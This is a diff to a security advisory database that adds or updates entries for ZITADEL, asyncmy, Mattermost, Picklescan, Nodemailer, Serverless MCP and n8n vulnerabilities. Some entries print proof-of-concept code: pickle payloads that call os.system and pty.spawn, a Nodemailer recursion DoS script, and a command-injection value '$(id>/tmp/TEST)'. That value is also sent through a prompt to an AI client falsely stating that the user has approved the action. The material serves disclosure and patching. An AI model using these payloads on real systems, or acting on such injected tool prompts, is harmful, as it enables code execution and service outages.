"modified": "2026-03-09T15:47:05Z", "published": "2025-12-08T22:19:38Z", - "aliases": [], + "aliases": [ + "CVE-2026-29067" + ], "summary": "ZITADEL Vulnerable to Account Takeover Due to Improper Instance Validation in V2 Login", "details": "### Summary\n\nA potential vulnerability exists in ZITADEL's password reset mechanism in login V2. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user.\n\n### Impact\n\nIf an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account.\n\nIt's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Affected Versions\n\nSystems using the login UI (v2) and running one of the following versions are affected:\n- **v4.x**: `4.0.0-rc.1` through `4.7.0`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the X-Forwarded-Host and Forwarded headers against the instance custom and trusted domains.\n\nBefore you upgrade, ensure that:\n- the `ZITADEL_API_URL` is set and is pointing to your instance, resp. system in multi-instance deployments.\n- the HTTP `host` (or a `x-forwarded-host`) is passed in your reverse proxy to the login UI.\n- a `x-zitadel-instance-host` (or `x-zitadel-forward-host`) is set in your reverse for multi-instance deployments. If you're running a single instance solution, you don't need to take any actions.\n\nPatched versions:\n- 4.x: Upgrade to >=[4.7.1](https://github.com/zitadel/zitadel/releases/tag/v4.7.1)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nA ZITADEL fronting proxy can be configured to delete all forwarded header values or set it to the requested host before sending requests to ZITADEL self-hosted environments.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.", "severity": [ @@ -95,6 +97,10 @@ "type": "WEB", "url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-pfrf-9r5f-73f5" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29067" + }, { "type": "WEB", "url": "https://github.com/zitadel/zitadel/commit/4c879b47334e01d4fcab921ac1b44eda39acdb96" @@ -111,6 +117,6 @@ "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-12-08T22:19:38Z", - "nvd_published_at": null + "nvd_published_at": "2026-03-07T15:15:54Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-qhqw-rrw9-25rm/GHSA-qhqw-rrw9-25rm.json b/advisories/github-reviewed/2025/12/GHSA-qhqw-rrw9-25rm/GHSA-qhqw-rrw9-25rm.json index cd20233e2be03..814fe8639a753 100644 --- a/advisories/github-reviewed/2025/12/GHSA-qhqw-rrw9-25rm/GHSA-qhqw-rrw9-25rm.json +++ b/advisories/github-reviewed/2025/12/GHSA-qhqw-rrw9-25rm/GHSA-qhqw-rrw9-25rm.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-qhqw-rrw9-25rm", - "modified": "2025-12-03T19:17:25Z", + "modified": "2026-03-10T17:50:57Z", "published": "2025-12-02T21:31:30Z", "aliases": [ "CVE-2025-65896" ], - "summary": "assyncmy is vulnerable to SQL injection via crafted dict keys", - "details": "SQL injection vulnerability in long2ice assyncmy thru 0.2.10 allows attackers to execute arbitrary SQL commands via crafted dict keys.", + "summary": "asyncmy is vulnerable to SQL injection via crafted dict keys", + "details": "SQL injection vulnerability in long2ice asyncmy thru 0.2.10 allows attackers to execute arbitrary SQL commands via crafted dict keys.", "severity": [ { "type": "CVSS_V3", @@ -28,7 +28,7 @@ "introduced": "0" }, { - "last_affected": "0.2.10" + "last_affected": "0.2.11" } ] } diff --git a/advisories/github-reviewed/2025/12/GHSA-qvmc-92vg-6r35/GHSA-qvmc-92vg-6r35.json b/advisories/github-reviewed/2025/12/GHSA-qvmc-92vg-6r35/GHSA-qvmc-92vg-6r35.json new file mode 100644 index 0000000000000..930cb36bf7120 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-qvmc-92vg-6r35/GHSA-qvmc-92vg-6r35.json @@ -0,0 +1,104 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-qvmc-92vg-6r35", + "modified": "2026-01-02T15:34:07Z", + "published": "2025-12-22T12:30:21Z", + "aliases": [ + "CVE-2025-14273" + ], + "summary": "Mattermost with Jira plugin enabled has Incorrect Implementation of Authentication Algorithm", + "details": "Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 with the Jira plugin enabled and Mattermost Jira plugin versions <=4.4.0 fail to enforce authentication and issue-key path restrictions in the Jira plugin, which allows an unauthenticated attacker who knows a valid user ID to issue authenticated GET and POST requests to the Jira server via crafted plugin payloads that spoof the user ID and inject arbitrary issue key paths. Mattermost Advisory ID: MMSA-2025-00555", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/mattermost/mattermost/server/v8" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "8.0.0-20251121122154-b57c297c6d7a" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/mattermost/mattermost-plugin-jira" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.4.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14273" + }, + { + "type": "WEB", + "url": "https://github.com/mattermost/mattermost-plugin-jira/commit/bf9a1b7e81eb83304056b397c6abab3b062e14a2" + }, + { + "type": "WEB", + "url": "https://github.com/mattermost/mattermost/commit/317025c411ec8c34381fdd4f137a17c63895a4f2" + }, + { + "type": "WEB", + "url": "https://github.com/mattermost/mattermost/commit/463e0d0d3930782d3c975da26c991dcbfccd751c" + }, + { + "type": "WEB", + "url": "https://github.com/mattermost/mattermost/commit/7c36acb68ce3c69defaea540623f794c84ecba93" + }, + { + "type": "WEB", + "url": "https://github.com/mattermost/mattermost/commit/92b1e705225d97ce54d9f720f2e7aa66dc2a086b" + }, + { + "type": "WEB", + "url": "https://github.com/mattermost/mattermost/commit/b57c297c6d7ae6812d85e32a625806ac9555deee" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mattermost/mattermost" + }, + { + "type": "WEB", + "url": "https://mattermost.com/security-updates" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-303" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-02T15:34:07Z", + "nvd_published_at": "2025-12-22T12:16:19Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-r8g5-cgf2-4m4m/GHSA-r8g5-cgf2-4m4m.json b/advisories/github-reviewed/2025/12/GHSA-r8g5-cgf2-4m4m/GHSA-r8g5-cgf2-4m4m.json new file mode 100644 index 0000000000000..0374910b385e6 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-r8g5-cgf2-4m4m/GHSA-r8g5-cgf2-4m4m.json @@ -0,0 +1,67 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-r8g5-cgf2-4m4m", + "modified": "2025-12-29T15:27:59Z", + "published": "2025-12-29T15:27:59Z", + "aliases": [], + "summary": "Picklescan missing detection when calling numpy.f2py.crackfortran.getlincoef", + "details": "### Summary\n\nAn unsafe deserialization vulnerability allows an attacker to execute arbitrary code on the host when loading a malicious pickle payload from an untrusted source.\n\n### Details\n\nThe `numpy.f2py.crackfortran` module exposes many functions that call `eval` on arbitrary strings of values. This is the case for `getlincoef` and `_eval_length`. This list is probably not exhaustive.\n\nAccording to https://numpy.org/doc/stable/reference/security.html#advice-for-using-numpy-on-untrusted-data, the whole `numpy.f2py` should be considered unsafe when loading a pickle.\n\n### PoC\n\n```python\nfrom numpy.f2py.crackfortran import getlincoef\n\nclass EvilClass:\n def __reduce__(self):\n payload = \"__import__('os').system('echo \\\"successful attack\\\"')\"\n return getlincoef, (payload, [])\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on `picklescan` to detect malicious pickle files from untrusted sources.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Note\n\nThe problem was originally reported to the joblib project, but this was deemed unrelated to joblib itself. However, I checked that `picklescan` was indeed vulnerable.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-r8g5-cgf2-4m4m" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T15:27:59Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-rcmh-qjqh-p98v/GHSA-rcmh-qjqh-p98v.json b/advisories/github-reviewed/2025/12/GHSA-rcmh-qjqh-p98v/GHSA-rcmh-qjqh-p98v.json index 2d086d3d200ba..1c6bbf70c4505 100644 --- a/advisories/github-reviewed/2025/12/GHSA-rcmh-qjqh-p98v/GHSA-rcmh-qjqh-p98v.json +++ b/advisories/github-reviewed/2025/12/GHSA-rcmh-qjqh-p98v/GHSA-rcmh-qjqh-p98v.json @@ -1,15 +1,17 @@ { "schema_version": "1.4.0", "id": "GHSA-rcmh-qjqh-p98v", - "modified": "2025-12-01T20:44:25Z", + "modified": "2026-02-12T22:09:00Z", "published": "2025-12-01T20:44:25Z", - "aliases": [], + "aliases": [ + "CVE-2025-14874" + ], "summary": "Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls", "details": "### Summary\nA DoS can occur that immediately halts the system due to the use of an unsafe function.\n\n### Details\nAccording to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.\nHowever, the code implemented for this flattening process can be exploited by malicious input and triggers DoS\n\nRFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.\nAt the following location in lib/addressparser/index.js:\n\nhttps://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90\n\nthere is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:\n\n```g0: g1: g2: g3: ... gN: victim@example.com;```\n\nBecause no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern\n`addressparser → _handleAddress → addressparser → ...`\nfor each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.\n\nThe problematic code section is as follows:\n```js\nif (isGroup) {\n ...\n if (data.group.length) {\n let parsedGroup = addressparser(data.group.join(',')); // <- boom!\n parsedGroup.forEach(member => {\n if (member.group) {\n groupMembers = groupMembers.concat(member.group);\n } else {\n groupMembers.push(member);\n }\n });\n }\n}\n```\n`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.\n\n### PoC\n\n```\nconst nodemailer = require('nodemailer');\n\nfunction buildDeepGroup(depth) {\n let parts = [];\n for (let i = 0; i < depth; i++) {\n parts.push(`g${i}:`);\n }\n return parts.join(' ') + ' user@example.com;';\n}\n\nconst DEPTH = 3000; // <- control depth \nconst toHeader = buildDeepGroup(DEPTH);\nconsole.log('to header length:', toHeader.length);\n\nconst transporter = nodemailer.createTransport({\n streamTransport: true,\n buffer: true,\n newline: 'unix'\n});\n\nconsole.log('parsing start');\n\ntransporter.sendMail(\n {\n from: 'test@example.com',\n to: toHeader,\n subject: 'test',\n text: 'test'\n },\n (err, info) => {\n if (err) {\n console.error('error:', err);\n } else {\n console.log('finished :', info && info.envelope);\n }\n }\n);\n```\nAs a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.\n\n### Impact\nThe attacker can achieve the following:\n\n1. Force an immediate crash of any server/service that uses Nodemailer\n2. Kill the backend process with a single web request\n3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”", "severity": [ { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "affected": [ @@ -41,10 +43,22 @@ "type": "WEB", "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14874" + }, { "type": "WEB", "url": "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150" }, + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2025-14874" + }, + { + "type": "WEB", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133" + }, { "type": "PACKAGE", "url": "https://github.com/nodemailer/nodemailer" @@ -54,7 +68,7 @@ "cwe_ids": [ "CWE-703" ], - "severity": "LOW", + "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-12-01T20:44:25Z", "nvd_published_at": null diff --git a/advisories/github-reviewed/2025/12/GHSA-rrxm-2pvv-m66x/GHSA-rrxm-2pvv-m66x.json b/advisories/github-reviewed/2025/12/GHSA-rrxm-2pvv-m66x/GHSA-rrxm-2pvv-m66x.json new file mode 100644 index 0000000000000..05c3513cf8d6f --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-rrxm-2pvv-m66x/GHSA-rrxm-2pvv-m66x.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-rrxm-2pvv-m66x", + "modified": "2025-12-30T15:18:16Z", + "published": "2025-12-30T15:18:16Z", + "aliases": [], + "summary": "Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.getlincoef", + "details": "### Summary\n\nPicklescan uses the `numpy.f2py.crackfortran.getlincoef` function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling.\n\n### Details\n\nPicklescan fails to detect a malicious pickle that uses the gadget `numpy.f2py.crackfortran.getlincoef` in `__reduce__`, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution.\n\n### PoC\n```python\nclass PoC:\n def __reduce__(self):\n from numpy.f2py.crackfortran import getlincoef\n return getlincoef, (\"__import__('os').system('whoami')\", None)\n```\n\n### Impact\n\n- Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file.\n- Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts.\n- Enables supply‑chain poisoning of shared model files.\n\n### Credits\n- [ac0d3r](https://github.com/ac0d3r)\n- [Tong Liu](https://lyutoon.github.io), Institute of information engineering, CAS", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-rrxm-2pvv-m66x" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502", + "CWE-94" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T15:18:16Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-rwc2-f344-q6w6/GHSA-rwc2-f344-q6w6.json b/advisories/github-reviewed/2025/12/GHSA-rwc2-f344-q6w6/GHSA-rwc2-f344-q6w6.json new file mode 100644 index 0000000000000..5470543124f07 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-rwc2-f344-q6w6/GHSA-rwc2-f344-q6w6.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-rwc2-f344-q6w6", + "modified": "2025-12-31T22:05:32Z", + "published": "2025-12-31T22:05:32Z", + "aliases": [ + "CVE-2025-69256" + ], + "summary": "serverless MCP Server vulnerable to Command Injection in list-projects tool", + "details": "### Summary\n\nA command injection vulnerability exists in the Serverless Framework's built-in MCP server package (@serverless/mcp). This vulnerability only affects users of the experimental MCP server feature (serverless mcp), which represents less than 0.1% of Serverless Framework users. The core Serverless Framework CLI and deployment functionality are not affected.\n\nThe vulnerability is caused by the unsanitized use of input parameters within a call to `child_process.exec`, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process's privileges. \n\nThe server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (`|`, `>`, `&&`, etc.).\n\n\n### Details\n\nThe MCP Server exposes several tools, including the `list-project`. The values of the parameter `workspaceRoots` (controlled by the user) is used to build a shell command without proper sanitization, leading to a command injection.\n\n\n### Vulnerable code\n\n```js\n// https://github.com/serverless/serverless/blob/6213453da7df375aaf12fb3522ab8870488fc59a/packages/mcp/src/tools/list-projects.js#L68\nexport async function listProjects(params) {\n // Mark that list-projects has been called\n setListProjectsCalled()\n\n const { workspaceRoots, userConfirmed } = params\n\n ...\n // Process each workspace root\n for (const workspaceRoot of workspaceRoots) {\n const projectsInfo = await getServerlessProjectsInfo(workspaceRoot) //<----\n }\n \n\n// https://github.com/serverless/serverless/blob/6213453da7df375aaf12fb3522ab8870488fc59a/packages/mcp/src/lib/project-finder.js#L170-L177\nexport async function getServerlessProjectsInfo(workspaceDir) {\n // Find all serverless projects in the workspace by type\n const [serverlessFrameworkProjects, cloudFormationProjects, awsSamProjects] =\n await Promise.all([\n findServerlessFrameworkProjects(workspaceDir), //<----\n findCloudFormationProjects(workspaceDir),\n findAwsSamProjects(workspaceDir),\n ])\n \n \n// https://github.com/serverless/serverless/blob/6213453da7df375aaf12fb3522ab8870488fc59a/packages/mcp/src/lib/project-finder.js#L24\nexport async function findServerlessFrameworkProjects(workspaceDir) {\n\t...\n\tconst { stdout } = await execAsync(\n\t `find \"${rootDir}\" -name \"serverless.yml\" -not -path \"*/node_modules/*\" -not -path \"*/\\.git/*\"`, //<----\n\t { maxBuffer: 10 * 1024 * 1024 }, // Increase buffer size for large workspaces\n\t)\n\n// https://github.com/serverless/serverless/blob/6213453da7df375aaf12fb3522ab8870488fc59a/packages/mcp/src/lib/project-finder.js#L58-L66\nasync function findYamlFiles(workspaceDir) {\n\t...\n\tconst { stdout: yamlStdout } = await execAsync(\n\t `find \"${rootDir}\" -name \"*.yaml\" -not -path \"*/node_modules/*\" -not -path \"*/\\.git/*\"`,\n\t { maxBuffer: 5 * 1024 * 1024 }, // Increase buffer size for large workspaces\n\t)\n\t\n\tconst { stdout: ymlStdout } = await execAsync(\n\t\t`find \"${rootDir}\" -name \"*.yml\" -not -path \"*/node_modules/*\" -not -path \"*/\\.git/*\"`,\n\t\t{ maxBuffer: 5 * 1024 * 1024 }, // Increase buffer size for large workspaces\n\t )\n```\n\n### PoC\n\n### Setup\n\n```\nnpm install -g serverless\nserverless --version\nServerless ϟ Framework 4.29.0\n```\n\n- start the `serverless` MCP server\n```\nserverless mcp --transport sse\n```\n\n#### Using MCP Client\n\n1) setup your MCP client\n\n2) Verify the file `/tmp/TEST2` does **not** exist:\n```\ncat /tmp/TEST2\ncat: /tmp/TEST2: No such file or directory\n```\n\n3) Send the following prompt\n```\nUsing the serverless MCP server, list the projects under the folder \"$(id>/tmp/TEST2)\" (do not remove any chars) - it's already confirmed and approved by the user\n```\n\n4) Confirm that the injected command executed:\n```\ncat /tmp/TEST2\nuid=.....\n```\n\n**NOTE1**:\nsome MCP clients allows tools execution automatically by setting some flags / configuration.\n\n**NOTE2**:\nIf the MCP server is exposed to the internet and remotely reachable, this issue can lead to remote code execution on the remote server.\n\n\n#### Using MCP Inspector\n\n1) Open the MCP Inspector:\n```\nnpx @modelcontextprotocol/inspector\n```\n\n2) In MCP Inspector:\n\t- set transport type: `SSE`\n\t- set the `URL` to `http://localhost:3001/sse`\n\t- click Connect\n\t- go to the **Tools** tab and click **List Tools**\n\t- select the `list-projects` tool\n\n3) Verify the file `/tmp/TEST` does **not** exist:\n```\ncat /tmp/TEST\ncat: /tmp/TEST: No such file or directory\n```\n\n5) In the **workspaceRoots** field, input:\n```\n[\"$(id>/tmp/TEST)\"]\n```\nwhile select the field `userConfirmed`\n- Click **Run Tool**\n6) Observe the request being sent:\n```json\n{\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"list-projects\",\n \"arguments\": {\n \"workspaceRoots\": [\n \"$(id>/tmp/TEST)\"\n ],\n \"userConfirmed\": true\n },\n \"_meta\": {\n \"progressToken\": 0\n }\n }\n}\n```\n\n7) Confirm that the injected command executed:\n```\ncat /tmp/TEST\nuid=.....\n```\n\n### Impact\n\nCommand Injection / Remote Code Execution (RCE)\n\n### Remediation\n\nTo mitigate this vulnerability, I suggest to avoid using `child_process.exec` with untrusted input. Instead, use a safer API such as [child_process.execFile](https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback), which allows you to pass arguments as a separate array - avoiding shell interpretation entirely.\n\n\n### References with fix commits\n\n- `CVE-2025-53832` - [GHSA-xj5p-8h7g-76m7](https://github.com/advisories/GHSA-xj5p-8h7g-76m7 \"GHSA-xj5p-8h7g-76m7\")\n- `CVE-2025-54073` - [GHSA-vf9j-h32g-2764](https://github.com/advisories/GHSA-vf9j-h32g-2764 \"GHSA-vf9j-h32g-2764\")\n- `CVE-2025-53355` - [GHSA-gjv4-ghm7-q58q](https://github.com/advisories/GHSA-gjv4-ghm7-q58q \"GHSA-gjv4-ghm7-q58q\")\n- `CVE-2025-53372` - [GHSA-5w57-2ccq-8w95](https://github.com/advisories/GHSA-5w57-2ccq-8w95 \"GHSA-5w57-2ccq-8w95\")\n- `CVE-2025-53107` - [GHSA-3q26-f695-pp76](https://github.com/advisories/GHSA-3q26-f695-pp76 \"GHSA-3q26-f695-pp76\")\n- `CVE-2025-53967` - [GHSA-gxw4-4fc5-9gr5](https://github.com/advisories/GHSA-gxw4-4fc5-9gr5)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "serverless" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.29.0" + }, + { + "fixed": "4.29.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/serverless/serverless/security/advisories/GHSA-rwc2-f344-q6w6" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69256" + }, + { + "type": "WEB", + "url": "https://github.com/serverless/serverless/commit/681ca039550c7169369f98780c6301a00f2dc4c4" + }, + { + "type": "PACKAGE", + "url": "https://github.com/serverless/serverless" + }, + { + "type": "WEB", + "url": "https://github.com/serverless/serverless/blob/6213453da7df375aaf12fb3522ab8870488fc59a/packages/mcp/src/tools/list-projects.js#L68" + }, + { + "type": "WEB", + "url": "https://github.com/serverless/serverless/releases/tag/sf-core%404.29.3" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-77" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-31T22:05:32Z", + "nvd_published_at": "2025-12-30T19:15:45Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-v98v-ff95-f3cp/GHSA-v98v-ff95-f3cp.json b/advisories/github-reviewed/2025/12/GHSA-v98v-ff95-f3cp/GHSA-v98v-ff95-f3cp.json index c7ec796f511c7..f50f9ced6eddb 100644 --- a/advisories/github-reviewed/2025/12/GHSA-v98v-ff95-f3cp/GHSA-v98v-ff95-f3cp.json +++ b/advisories/github-reviewed/2025/12/GHSA-v98v-ff95-f3cp/GHSA-v98v-ff95-f3cp.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-v98v-ff95-f3cp", - "modified": "2025-12-22T16:19:13Z", + "modified": "2026-03-11T20:39:31Z", "published": "2025-12-22T16:19:13Z", "aliases": [ "CVE-2025-68613" ], "summary": "n8n Vulnerable to Remote Code Execution via Expression Injection", - "details": "### Impact\nn8n contains a critical Remote Code Execution (RCE) vulnerability in its workflow expression evaluation system. Under certain conditions, expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime.\n\nAn authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations.\n\n### Patches\nThis issue has been fixed in **n8n v1.122.0**.\n\nUsers are strongly advised to upgrade to version **1.122.0 or later**, which introduces additional safeguards to restrict expression evaluation.\n\n### Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Limit workflow creation and editing permissions to fully trusted users only.\n- Deploy n8n in a hardened environment with restricted operating system privileges and network access to reduce the impact of potential exploitation.\n\nThese workarounds do not fully eliminate the risk and should only be used as short-term measures.", + "details": "### Impact\nn8n contains a critical Remote Code Execution (RCE) vulnerability in its workflow expression evaluation system. Under certain conditions, expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime.\n\nAn authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations.\n\n### Patches\nThis issue has been fixed in n8n v1.122.0.\n\nUsers are strongly advised to upgrade to version 1.122.0 or later, which introduces additional safeguards to restrict expression evaluation.\n\n### Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n\n- Limit workflow creation and editing permissions to fully trusted users only.\n- Deploy n8n in a hardened environment with restricted operating system privileges and network access to reduce the impact of potential exploitation.\n\nThese workarounds do not fully eliminate the risk and should only be used as short-term measures.", "severity": [ { "type": "CVSS_V3", @@ -78,6 +78,14 @@ { "type": "PACKAGE", "url": "https://github.com/n8n-io/n8n" + }, + { + "type": "WEB", + "url": "https://www.akamai.com/blog/security-research/2026/feb/zerobot-malware-targets-n8n-automation-platform" + }, + { + "type": "WEB", + "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-68613" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/12/GHSA-vqmv-47xg-9wpr/GHSA-vqmv-47xg-9wpr.json b/advisories/github-reviewed/2025/12/GHSA-vqmv-47xg-9wpr/GHSA-vqmv-47xg-9wpr.json new file mode 100644 index 0000000000000..7f4880c848fcc --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-vqmv-47xg-9wpr/GHSA-vqmv-47xg-9wpr.json @@ -0,0 +1,67 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vqmv-47xg-9wpr", + "modified": "2025-12-29T15:24:33Z", + "published": "2025-12-29T15:24:33Z", + "aliases": [], + "summary": "Picklescan missing detection when calling pty.spawn", + "details": "### Summary\nUsing pty.spawn, which is a built-in python library function to execute arbitrary commands on the host system.\n\n### Details\nThe attack payload executes in the following steps:\nFirst, the attacker craft the payload by calling to `pty.spawn` function in the `__reduce__` method. Then the victim attempts to use picklescan to scan the pickle file for issues and sees this -\n```\n----------- SCAN SUMMARY -----------\nScanned files: 1\nInfected files: 0\nDangerous globals: 0\n```\nThe victim proceeds to load the pickle file and execute attacker-injected arbitrary code.\n\n### PoC\n```\nclass PtyExploit:\n def __reduce__(self):\n return (pty.spawn, ([\"/bin/sh\", \"-c\", \"id; exit\"],))\n```\n\n### Impact\n**Who is impacted?** Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\n**What is the impact?** Attackers can embed malicious 